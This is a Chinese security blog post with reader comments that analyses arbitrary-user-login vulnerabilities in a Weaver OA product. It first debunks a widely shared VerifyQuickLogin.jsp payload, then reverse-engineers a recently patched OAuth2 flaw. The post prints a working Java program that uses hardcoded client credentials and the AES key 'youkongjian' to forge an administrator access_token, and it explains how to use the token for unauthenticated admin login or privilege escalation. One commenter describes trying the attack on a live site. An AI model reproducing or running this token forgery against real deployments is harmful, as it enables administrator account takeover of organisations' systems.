某OA-任意用户登录研究分析实记

某微OA-任意用户登录研究分析记录,介绍踩坑网传漏洞和发现刚补丁漏洞的过程记录。

0x00 前言

在攻防演练期间,大家都有所耳闻,听到过某OA的存在任意用户登录的漏洞,可能听说最多的还都是/mobile/plugin/VerifyQuickLogin.jsp这个接口,而且传的有头有尾的,像是真的0day一样。然后在复现过程中一定会发现:啊,这影响的资产也太少了吧,甚至没有。

大多数网传payload都是这样的:

URL: /mobile/plugin/VerifyQuickLogin.jsp
payload: identifier=1&language=1&ipaddress=

0x01 VerifyQuickLogin任意登录分析

首先,这个应该不是最近暴的0day,最早出现poc的时候,是今年的3月份,链接如下:

泛微-协同办公OA任意管理员登录.json

该大佬已在2022年3月23日的时候将poc上传到了GitHub。

1.1 VerifyQuickLogin接口

接下来进行分析:

(1)首先是各种参数的获取过程

image.png

(2)带入ps.login进行登录,传入的参数有:identifier, languageipaddress

image.png

(3)跟进ps.login方法,实现如下:

image.png

这里可以看到,var3也就是ipaddress参数的传入值,肯定不能为空,网传的payload到这就错了。

(4)sessionKey被返回给前端

image.png

经过一系列处理后,直接返回给了前端。

所以这第一步的利用应该是这样的:

image.png

然而也返回了一个ecology_JSessionid,这个是不能用的。

image.png

所以还需要第二步,/mobile/plugin/plus/login/LoingFromEb.jsp接口来配合。

1.2 LoingFromEb.jsp配合

当想分析这个的时候,发现我的安装版本竟然都没这个文件。

我的版本:

image.png

然后在互联网上,看到了这个漏洞的利用方式,链接如下:

https://www.yuque.com/u2276855/hqe792/exrd16

image.png

1.3 总结

我看语雀上文章的配图里面获取sessionKey的截图已经是2021年的图了。

而且,我扫了些,并没有看到任何存在该漏洞的网站。(poc只验证2.1步骤,未发现能获取到sessionKey的),失望。

加上我手里几个版本的代码里面都没有那个LoingFromEb.jsp的文件,这个漏洞是什么时候修复的,就不太清楚了。

我手里最早的代码,2020.09.10的安全配置里边,就设置了该接口需要登录了,如下:

image.png

所以,该漏洞应该比较古老,可能有2年左右了,也可能是我复现过程有问题,欢迎大家评论区指正。

0x02 oauth2下的任意用户登录

如果说没有任意用户登录的话,也有点太片面了,于是我下载了最新的补丁包2022.08.05那个,对比了补丁文件,在WEB-INF/myclasses/weaver/security/rules/ruleImp/SecurityRuleForWeb0704.class中,倒是也发现了一处刚补丁的任意用户登录。

该补丁首次出现在v10.48的补丁包里面,在v10.54补丁包里面做了修改。

image.png

可以看到,他在里面禁用了/api/integration/oauth2/下的三个接口,并且拦截说明是漏洞利用,那么我们之间找到接口进行分析。

漏洞在com.api.integration.web.OAuth2ServerAction中,

image.png

该路径下,实现了三个接口,正常的逻辑大概是:

authorize接口生成一个code -> accessToken接口根据当前登录的用户id,生成一个token -> profile查询token对应的用户信息,并set-cookie。

其中第一步是与漏洞无关的,我们重点关注第二、第三步。

2.1 accessToken接口

部分不太重要的逻辑,就省略掉了,直接到重点:

image.png

(1)从请求中获取当前用户

(2)判断用户不为空

(3)设置var13,值为client_idclient_secret、时间戳和uid的组合

其中client_idclient_secret是写死的,如下:

image.png

(4)带入AES加密,密钥是youkongjian

现在知道了accessToken的加密过程了,而且其中未涉及不可控值,所以存在伪造的机会。

2.2 profile接口

(1)获取client_idclient_secretaccess_token,并解密:

image.png

将解密后的字符串根据|分割成数组。

(2)如果当前用户为空,或uid与access_token不一致,则重新创建session,并将access_token中的用户uid写入session。

image.png

(3)查询uid对应用户,将信息返回前端

image.png

2.3 总结

可以看出,accessToken接口说明了access_token的加密过程,在profile接口进行解密,直接创建了新的session,从而导致漏洞存在。看效果图:

image.png

返回的ecology_JSessionid为管理员的sessionid。测试cookie是否有效:

image.png

2.4 payload

你们最期待的东西。

import com.sun.crypto.provider.SunJCE;  
import sun.security.provider.Sun;  

import javax.crypto.\*;  
import javax.crypto.spec.SecretKeySpec;  
import java.security.\*;  

public class userLogin {  
    public static void main(String\[\] args) {  
        String access\_token = encrypt("2ad1b008-38ed-44e4-a113-ef1ee31407c1|L68GFSAH3EBT|"\+ System.currentTimeMillis() +"|1","youkongjian");  
        System.out.print(access\_token);  
    }  
    public static String encrypt(String var0, String var1) {  
        byte\[\] var2 = null;  

        try {  
            KeyGenerator var3 = KeyGenerator.getInstance("AES");  
            SecureRandom var4 = SecureRandom.getInstance("SHA1PRNG");  
            var4.setSeed(var1.getBytes());  
            var3.init(128, var4);  
            SecretKey var5 = var3.generateKey();  
            byte\[\] var6 = var5.getEncoded();  
            SecretKeySpec var7 = new SecretKeySpec(var6, "AES");  
            Cipher var8 = Cipher.getInstance("AES", "SunJCE");  
            byte\[\] var9 = var0.getBytes();  
            var8.init(1, var7);  
            var2 = var8.doFinal(var9);  
        } catch (NoSuchProviderException var10) {  
            var10.printStackTrace();  
        } catch (NoSuchAlgorithmException var11) {  
            var11.printStackTrace();  
        } catch (NoSuchPaddingException var12) {  
            var12.printStackTrace();  
        } catch (InvalidKeyException var13) {  
            var13.printStackTrace();  
        } catch (IllegalBlockSizeException var14) {  
            var14.printStackTrace();  
        } catch (BadPaddingException var15) {  
            var15.printStackTrace();  
        }  

        return var2 == null ? "" : parseByte2HexStr(var2);  
    }  
    private static String parseByte2HexStr(byte\[\] var0) {  
        StringBuffer var1 = new StringBuffer();  

        for(int var2 = 0; var2 < var0.length; ++var2) {  
            String var3 = Integer.toHexString(var0\[var2\] & 255);  
            if (var3.length() == 1) {  
                var3 = '0' \+ var3;  
            }  

            var1.append(var3.toUpperCase());  
        }  

        return var1.toString();  
    }  
}

运行后,会生成access_token.

image.png

2.5 利用说明

该漏洞利用有两种方式:

1.低版本的ecology中未修复Api绕过鉴权的方法,可以使用该方法绕过鉴权访问到接口,从而实现未授权访问get admin

2.修复Api绕过鉴权后的版本~v10.48之间,可以用低权限用户调用该接口,实现用户提权,获得管理员权限。

  • 发表于 2022-08-16 09:29:51
  • 阅读 ( 13447 )
  • 分类:漏洞分析

4 条评论

hyyrent
这个漏洞确实比较古老了= = 最近才公开 fofa能利用的很少
dddtest 回复 hyyrent
我找到了个站 /mobile/plugin/VerifyQuickLogin.jsp可以回显sessionkey,/mobile/plugin/plus/login/LoingFromEb.jsp接口也是200状态码,请问我怎么带着sessionkey访问/mobile/plugin/plus/login/LoingFromEb.jsp啊,我在请求头的cookie里加了sessionKey=xxx-xxx-xxxx,或者loginKey=xxx-xxx-xxx,响应包都只是回显window.location.href="/login/login.jsp?message=19这个
Alivin 回复 hyyrent
不过后面这个还算能用,遇到些目标可以用。
请先 登录 后评论
请先 登录 后评论
Alivin
Alivin

13 篇文章

站长统计